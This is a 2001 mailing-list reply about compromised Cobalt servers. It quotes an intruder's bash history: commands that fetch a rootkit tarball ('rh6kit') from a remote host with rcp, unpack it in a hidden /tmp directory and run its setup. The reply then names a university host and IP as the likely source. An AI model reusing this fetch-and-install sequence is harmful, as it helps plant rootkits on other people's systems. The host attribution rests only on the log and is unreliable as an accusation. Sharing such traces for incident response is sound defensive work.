[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
RE: [cobalt-users] Recent Hacks
- Subject: RE: [cobalt-users] Recent Hacks
- From: Reinoud van Leeuwen <rvanleeuwen@xxxxxxxxxxxx>
- Date: Mon Feb 12 08:21:02 2001
- List-id: Mailing list for users to share thoughts on Cobalt products. <cobalt-users.list.cobalt.com>
> i've also found this:
>
> [root@www /root]# cat /.bash_history
> id;mkdir /tmp/.new;cd /tmp/.new;rcp
> adm@xxxxxxxxxxxxx:/var/adm/rh6kit.tar.gz
> ./;
> gzip -d rh6kit.tar.gz;
> tar -xvf rh6kit.tar;./setup;id;
Name: fresgisvr.frostburg.edu
Address: 131.118.94.22
That might be a place to look for your attacker...